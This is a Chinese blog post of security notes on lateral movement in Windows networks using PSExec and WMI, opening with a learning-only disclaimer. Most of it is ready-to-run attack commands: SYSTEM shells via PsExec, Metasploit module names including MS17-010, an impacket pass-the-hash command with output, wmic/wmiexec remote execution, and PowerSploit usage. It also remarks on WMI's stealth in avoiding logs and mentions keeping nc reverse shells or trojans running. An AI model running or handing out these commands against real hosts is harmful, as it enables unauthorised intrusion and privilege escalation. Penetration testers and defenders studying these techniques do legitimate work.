PSExec 与 WMI

发布时间 2023-06-29 14:27:18作者: f_carey

郑重声明:
本笔记编写目的只用于安全知识提升,并与更多人共享安全知识,切勿使用笔记中的技术进行违法活动,利用笔记中的技术造成的后果与作者本人无关。倡导维护网络安全人人有责,共同维护网络文明和谐。

PSExec 与 WMI

1 PSExec

1.1 Windows 下 PSExec 使用

PSExec 原理:

  • 通过管道在远程目标主机上创建一个 PSExec 服务,并在本地磁盘中生成一个名为 PSEXESVC 的二进制文件,然后通过 PSExec 服务运行命令,结束后删除服务。

PSExec 下载地址

利用注意点:

  1. 需要远程系统开启 admin$ 共享(默认开启)

  2. 使用 ipc$ 连接目标系统后,不需要输入账号与密码

  3. 使用 PSExec 执行远程命令时,会在目标系统中创建一个 PSEXESVC 服务。命令执行后, PSEXESVC 服务将被自动删除,由于创建或删除服务会产生大量的日志,可以在进行溯源时通过日志反推攻击流量。

    image-20211111105027627

  4. 使用 PSExec 可以直接获取 system 权限的交互式 shell

# 与目标主机建立 IPC$ 后,获取 system 权限的 Shell
PsExec64.exe -accepteula -nobanner \\10.1.1.19 -s cmd.exe
# -s 获取 system 权限 Shell。没有该参数则会获取一个所连接账户权限的 Shell

# 直接通过 PSExec 进行远程连接
PsExec64.exe -i \\10.1.1.19 -u win7\administrator -p Admin!@# cmd.exe
# 不显示交互式 shell,直接回显命令结果
PsExec64.exe -i \\10.1.1.19 -u win7\administrator -p Admin!@# cmd.exe /c "whoami"

PsExec could not start cmd.exe on 10.1.1.19:
登录失败: 未授予用户在此计算机上的请求登录类型。

解决方式:对于 PsExec version 2.30+ 需要在命令行中添加 -i 选项!

1.2 MSF 中的 PsExec 模块如下

exploit/windows/smb/psexec
auxiliary/scanner/smb/impacket/dcomexec
exploit/windows/smb/ms17_010_psexec
auxiliary/admin/smb/ms17_010_command
auxiliary/scanner/smb/psexec_loggedin_users
auxiliary/admin/smb/psexec_ntdsgrab
exploit/windows/local/current_user_psexec
encoder/x86/service
auxiliary/scanner/smb/impacket/wmiexec
exploit/windows/smb/webexec
exploit/windows/local/wmi

image-20211111110722282

1.3 Python Exp

  • impacket 工具包中的 smbexec.py:GitHub - fortra/impacket: Impacket is a collection of Python classes for working with network protocols.

  • 远程执行目标系统命令:

    # python smbexec.py -hashes aad3b435b51404eeaad3b435b51404ee:42e2656ec24331269f82160ff5962387 administrator@10.10.1.128
    
    Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation
    
    [proxychains] Strict chain  ...  192.168.50.2:2334  ...  10.10.1.128:445  ...  OK
    [!] Launching semi-interactive shell - Careful what you execute
    C:\Windows\system32>whoami
    nt authority\system
    

2 WMI

WMI(Windows Management Instrumentation)是一系列工具的集成,用户可以使用 WMI 管理本地和远程计算机。使用 wmiexec 进行横向移动时,默认不会将 WMI 的操作记录在日志中,有较好的隐蔽性。

wmic /node:10.1.1.19 /user:win7\administrator /password:Admin123 process call create "cmd.exe /c ipconfig > c:\ip.txt"

# 查看 WMI 所执行的内容
net use \\10.1.1.19\ipc$ Admin123 /user:win7\administrator
dir \\10.1.1.19\c$\
type \\10.1.1.19\c$\ip.txt

WMI RPC 服务器不可用(The RPC server is unavailable. ) 问题解决

  1. 检查远程服务器 “Remote Procedure Call”、“DCOM Server Process Launcher” 和 “DHCP Client”服务是否开启
  2. 检查远程服务器 本地安全策略--本地策略--安全选项--网络访问:本地帐户的共享和安全模式--属性 选择:经典-本地用户以自己的身份验证
  3. 在远程服务器上,运行"netsh firewall set service RemoteAdmin".
# impacket 工具包中的 wmiexec
git clone https://github.com/CoreSecurity/impacket.git
python3 wmiexec.py administrator:Admin123@192.168.0.19

# wmiexec.vbs
# 下载地址:
https://github.com/k8gege/K8tools/blob/master/wmiexec.vbs
# get远程主机 cmd
cscript //nologo "wmiexec.vbs" /shell 10.1.1.19 administrator Admin123
# 在远程主机上执行 ipconfig
cscript "wmiexec v1.1.vbs" /cmd 10.1.1.19 administrator Admin123 "ipconfig"
# 运行时间长的命令时,如ping,systeminfo之类的,记得加上-wait 5000 或者更久的时间选项
# 运行 nc 反弹或者木马等不需要输出结果、同时需要一直运行的程序时,一定要加上-persist选项,不然你就只能去 taskkill 远程结束进程了

# PowerSploit 中的 Invoke-WmiCommand.ps1 脚本主要通过 PowerShell 调用 WMI 来远程执行命令,本质上还是利用 WMI。信息要一次输入正确,否则无法正常连接。
# 导入 Invoke-WmiCommand.ps1 脚本
Import-Module .\Invoke-WmiCommand.ps1
# 指定目标系统用户名
$User = "test\administrator" 
# 指定目标系统的密码
$Password = ConvertTo-SecureString -String "Admin@123" -AsPlainText -Force
# 将账号和密码整合起来,以便导入 Credential
$Cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User , $Password
# 指定要执行的命令和目标 IP
$Remote = Invoke-WmiCommand -Payload {ipconfig} -Credential $Cred -ComputerName 10.1.1.21
# 将执行结果输出到屏幕上
$Remote.PayloadOutput


# Invoke-WMIMethod 是 PowerShell 自带的一个模块,也可以用它来连接远程计算机执行命令和指定程序。
# 指定目标系统用户名
$User="test\administrator"
# 指定目标系统密码
$Password=ConvertTo-SecureString -String "Admin@123" -AsPlainText -Force
# 将账号和密码整合起来,以便导入 Credential中
$Cred=New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User,$Password
# 在远程系统中运行 calc.exe 命令
Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList "calc.exe" -ComputerName "10.1.1.21" -Credential $Cred